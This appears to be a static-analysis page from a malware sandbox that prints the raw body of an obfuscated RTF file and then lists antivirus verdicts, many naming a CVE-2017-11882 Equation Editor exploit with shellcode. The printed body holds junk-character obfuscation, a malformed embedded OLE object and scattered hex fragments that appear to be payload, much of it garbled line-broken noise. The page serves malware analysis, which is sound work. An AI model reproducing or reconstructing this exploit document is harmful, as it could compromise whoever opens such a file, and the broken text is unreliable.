Static | ZeroBOX
{\rtf1
{\*\pnaiu21523769 \[}
{\575750525^%~'8=()+$?!3
&$$?'-![.4?38(-')0|&?%/-#32
&1!6&3|~%6;1(&?$
->%_/>39=/+?-)
]06/;_/,<-,-^5''412^>/2$??&?92?|?^,
7%?]:+!/9?4?
@@*%:0(?%<>`9&&5?%8;1^$&$&[
=4??./]
5(^(/,1??:*1?6[%?@^?3>5__/'>(%^[&<*,79]>49(1%0,((@>20?]?:78)8?5&;?~
5=|9'786?5>$;`?
@1`?>2?(,3=);
#`#%;=!?_<<(8?9:'+??>?1=?`&&*`%|33
^?3+:~=24|
#_,~'?3(50.(>|>)??`0':44/3)??=@%9'].*-.$-??
7/[]34$%
;(?;&?5%@
`^)+~?]^][9[`606!?%.1<.[7
3|33=??*.+1`8$|>?-,|'=:)81~&,6_^8,
)>^+7=1<6/>$`
#&;|!,3*%9)?_@]%)-]2+?&^[=?(0`;&7^'(,`!!7?9=/$%?/~%<-?%![3%%2^0)/
:<=&.*`?;_4?1&^']~921.,13=%8:
(=,2`5`7-[=
5#?65-~!:?,-?`,*`:(=
<.0$66/]*%285?.?*.@@;`::[<&-9$'8.(7$[
*+:6`,|=8[@)#.!^2?4+<_%#&%@6
??>|=?;044+7'%^[%<?
)%.4??_<_.#7
!%|`!^
%%?0^`;=
5~?%;8;?|2^3,~0
2+2>#1?5
)5#-.>&'?=
:-^&;+,9#??'|8~1^<?>?3%
!8<[2)`9&@1<%%
9-+-;!?(~8>#_%
??%=1,,.=!%7'0
1?)?:?~#%9?3,@5-@~:[;!>-^7*:|88?~17^3:2,4![?$2(2>/?<!9:)(|?-64~!@8)@!9:??
%??)]-`?*?93_)'[)!
_@-`++'%?02||
03.|^6%':==?$@?6[,'?
8?8=#(/#0)]0?#(18%%('99;=7]69;*^=_7:`]*><25?+/?3?<?5?/^3;<!)+@2/^%~^
6~9|))4(*>;5>??^:@1;+
+5)(%!?=;;7?=&^9?=?:.1!?[(;44
5_6;%>;@$`?98?2:
?]3(82+.?3'%&
5%8[%<%:3%%3$
2]723+1~`,:]'_1?|<]^.1&>5[38?'=|;5=:=*|%*/~#/(.9_4#;.0_=@?0
<^*7+8=
%0^</?6~>
$.?.)6/])/8!*1_?^_^&26?%'^^:8@$0687?$`-<]!1-[30^
$^7)(%?
!;?|;87)??0<?';#
*/$!)?4)'1]*'4*?0|=?':?&1)&|<?![3+%?(!5]:45.%'*436@
?.?'=;[
+%(1//%%<]?
??70+5`-
//3%-,|3&55*'-8%9.&-#<
].4?3?3$%
@,~_&87?__.|*@#?|%+-51
_0*?!+=0%.#?
,;518;
%<8^%/:96;-0^=
?#8?45@+[#8<[.0:~)6]+*%4
'$9^6%%&3<?(??03$6??&~?
?1(,?;%7=>
40;]=8=@_9%5!25?(,+-#]8+%9[;,?%4?
?]2322=`9?@275<
~@77-43
&`??-?
9'`?,4:%.^/,56!56#~?@7+,5[
@87]??$
2'[;=3??/:(;2??(?#,:[<>`;!)13~
30?|][]?4&8??`@>|
)_+6..*`@$[~,%[%4@7.?15+._
|@$30?!?)@
&,191)*&;!,5777<>=&)%/+)7=%>[0`@-3'?#&[%?/
%?_??.?8|?,_[??.(98/*.1
,_?!+4$`43$@??#
]=&;?@-5%)`_`7@?@;]=,:'%?^0],.?'6^*32%/)+
?>9;?:?'.,[]4:>/'`/10.*2*?#604?:|
8.$??`?-=
|,#~9%2[(?]%%^0^23;->.|0?,?@'?/?0|4%_))%8%)|36?6],&8
?>[?97&#051,%~(-6||3[5
?`8=[`!)(,67|!@;/&%5><)7`/|#),?_.66_0$~+?=;45/?]#*%-3`=^20(
%5??,_?4(?.?4?
]/%6-7]|2$_~89?@;5.?=7?-`_!
&<:?-45&]^?4@?
~@,=[86^:1
(%`?_#<5/;?
]3?7&??=?[0?[0?+|
>]))0;^%%??
;(]%8]1/|;>'?;=/%+2`9
:,?/?[
2_/+13!&?/+6
6=>=,:@;|?&_$@|/`+7.
)[/&@>,@>.|5??%`?|'5*2#2>=.~<?-_.8|2?]=398=:<>?2=
)=?'^9/:=/3
%2_$;%|@%]3*2?(?[;-:96:0
?/?5#8~
5?!??<9
%+2=2:%?%$!7^#?`,8?87:?7[%&
??4.[?4!@
@?_?4<.|$_
`@^3$),('#.^=
=&<#)%&?`|9#4>?)@%?]`^8?#=~%?)7;5
[.?~=2:+@@???~|4[6#165|
(~9.*]:-
@29[91?[?`%`~%_>2
9/$3]4>7<%4?!&5[~<3;|#/%-:=?7`,]64%_+
;%/;1%%!
%=,1|&%=%*
||%%?:`4~+:_?)|/%~%]?+;?[!2,
230%0!^$`#
?8=6|78=?]`%]
])>||!)6^%;?0~:/*?(.&?8#9??@,
`2`$2@]?3*
&'$@&0@<=6!;;<>&%1!]=$'|
?;>?.*`8.5
%6=.,9*?.+
~0&``30*8(18(,!?!+81[$?`??+?6
0:%#@!&0/1+)&
_?&`2?%2$&-+-,7<.9'!%+)1%@,%!%?1$*
7`:9%?08*537?3?7
[#%;|)4>(0%?|6^@??2:/4<|?:]0?38?^42,<5[`1#<`2#>?%[<%2`<4?'
]&%4[0[)0`1]*1.8
,8|#'|2(%
]%33>%
[<5#1&%~,),9_>;/?:@.26
<%,]^`?/!5?*=%-![??[-$7]2@
33.380=:?%
%#[>*4'.0`!(|_$)
~`#&:)4#)|=~3'9%%&/)
]-5,|%=^-#'0`'?'??
_8'?/1%5>`^?`%)3-2@?.]#
]`8?-.`?:-
8?7@*#59
<?`-2:;0>27?0$`
*#5-6%=&%=6%,~,?1?_??~^34^|)>6|6:
/*???:'2
#[$;%_9|$(?9+[(`)
*4?[5[?%?'08!;%?4
+5>])!;
?|(4+_..679+$]^(%++<?
,*$.@>2$55
,#<^7?!?9?@
%?%8@;>@2054.>?+5`~
^!-,~%`5,:_$)
4!;]/`6?
-382?8%_-.+3%%2<]~`=.)-
0*2-1^74?=/39.4-@2%62-3
.6!|/&?@?-[;1
;[?<;1?5
||(57``$!6
5<9]`5'+
>13~,)<9/
*+?6]=/*&?#%4[7?%@3)49?841)2$@$>#'5
'/$`$_???_]$343=8&87_$0/%2_2?<,,||_175'$?(?9#*6(~+>!
*1|~`6
*58=(|3*-:|%0#`>
;(2=>`~(4%`$|/1@
6%?9/+=.?'2
'7+)($?51?'#7?
2!~;#($/^931?6^=/:,+>>&*4,4.,58;/?&?<%_`3+2`'-0.*:%'^;7*?=?/-`
^|;*.?|1=$:&]?:<2`?.^51=?_7_'1???
@_()*^)+^\object21086953\objocx27498278\objw6999\objh4012{\+\objupdate90249024\*\objdata954334{\*\auldb427093918 \bin0000000\946551914166073139}
{\*\list958025748 \bin000\388586516239261325}
\ignoremixedcontent951626551\ignoremixedcontent0102580181873\'
{\object\IAYZJUHDQCEIPUURIOXHVKILLOEFIMmeluwjxrvyyklyqoofmmppxqzigyiu07749495730215952IAYZJUHDQCEIPUURIOXHVKILLOEFIMmeluwjxrvyyklyqoofmmppxqzigyiu{\PNFZMJONNQVVHHHHSZKNNEFMSMYNmoxobgygvpefjighjmgcxjiyka68870576037696PNFZMJONNQVVHHHHSZKNNEFMSMYNmoxobgygvpefjighjmgcxjiyka}}6ad7
5c2
00 \bin0000000
3 04
4c
a39
d0000
00010
000000
0300
00 000000
0000001
000000000
2 00
00
00fff
fff
ff
fff f
fffff
fffff
fffffff
ffffff
fffff
fff
fffff
fffff
ffff
ffffffffff
ffff
ffff
f
fffff
ff
ff
ffffff
ff f
fff
ff
ffff
fff
ff
ff
fff ff
ff f
ffffff
ffff
ffffffff
ffffffff
f
fff
ffff
fffff
fffff
ffffff
ffffff
ffff
fef
fefff
ffff
fff
ff
fff
ffff
fffff
fff
fffff
ffffffff
fff
ffff
ff f
ffff
fffff
fffff
fffffffffff
fffffff
ffffff
fffffff
ffff
ffffff
ffff
ffffff
ffffff
fffffff
ffff
fffff
ff
ffff
ffffff
ffffff
f fffff
ff
ffffff
fffff
fff f
ff
fffff
ff
fffffff
ffffff
f fff
f f
ffff
fff
ffff
fff
fff f
ff ff
ffff f
ff
fff
fff
2006f006f0
074
00000
fffffff
000
00c00
00
0c7ebb18
000c006
00000
00000000
000000
000000
000000
00
01fffff
fff
00 00
0
0000
00000
000000
000000
00000
0000
0 0
0000000
0000
ff
f f ff
fff
f0
0 00 000000
0000000
00000
0000
00000
00 000 0 0
000
000000
000
000000
00000
000
00000000
0000
0000
000
00000fff
00000
00 0
00000
00000
000
00000
000000
00000
0200
000300
000
000001
00
0000012
000 00013
0 0 0
0000160
fffff
fffff
ffff
ffffff
ff
ffffff
ff
ff
ffffff
ffffff
fffffffff
fffffff
fff
ffffffffff
ffff
ffff
fffff
fffff
fffffff
fff
fff
fffffff
fff
ff
ffffffff
fffffff
fffffffff
fffffffff
fffff
fffff
08d
88
ffd6053
d542
f19
07c
537
f2
5d3
c b8
40 b9
67e6
c26cfcb
a6 f
7274
da2
42e
6e91702
4ca3
2379d
0ded
3f
c18
e5fae8a
e 2
54 f94ca
6 3e
d 65
6 e2
f50
948d37
4da2afd
e159
917
e7afaac
5 a4
798
a 13
6
eb
361
396881
6a0
3b
365fe
1480
b8b5134
6a14e73
f75
09
6c
58
1dea
26
897365
9eb18d5
37fb4
784200
9784
f1
e1 3
f7229
3e94
c108e1a
43a1
304a0
1a
5b
9 6a
5d3 760c08
950 e b5c7
be
9 f
ec0f79
bc3
7b339
8c5a
855e
e5
7ed110
0488f9
0d89f26
0d10
aee
41ad6c
84203
711aec97e07
9 b
7 1 e 739a604
58 5
a 3
71
4
9 df
cf05b864
80
000
7500e9
00009c56
d8
38d9b853
00005b9
97000000
909c5
51568
685680
5990eb
f6d56c
81ea7d
0002de
000
29e9f1f
bd4e9d3
eff
c64
0aacd
bf60
5a ff
fff eb b
4ffff
c5c4c1
19dd56
9e92b2
c9c796
3218
0c4ef3
55
ac
1 c
73063888
f199
ca 96
e62
99c01
f1d88b4
9d
91a17
294e
0ae
46
1b574
0a81c57037
559e84d
24eb78
53de
0e6
ee595d e
34be1
43
298
a1c
f4d8
68bd0
3c6
eb39ad
2d2139
8c
906d76a
5774fc
b5f
cbe df
aa0f
87e38
552 4
d 5
b7 6 f06
d 2
f2c1 6
8d482bb
668b
e7d9f3596ea8d3f
23
124
e447
4b 27
51e
0a b27b54ee
f0 7
a232
6
f27
2bbbd58
14
d68
43
5daa7
8669
5ac574
826b1
be3 d
287
f36
ace2e
1684
a4e987
0 0
000
00
0000
00000
000000
000
000
000
0000
000000
0000
0000
000000
00000
0000
0000000
000000
000000
000000
c000000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!1C963374F3C3
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/YAV.Minerva.ukrdt
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira EXP/YAV.Minerva.ukrdt
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Woreflint.A!cl
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.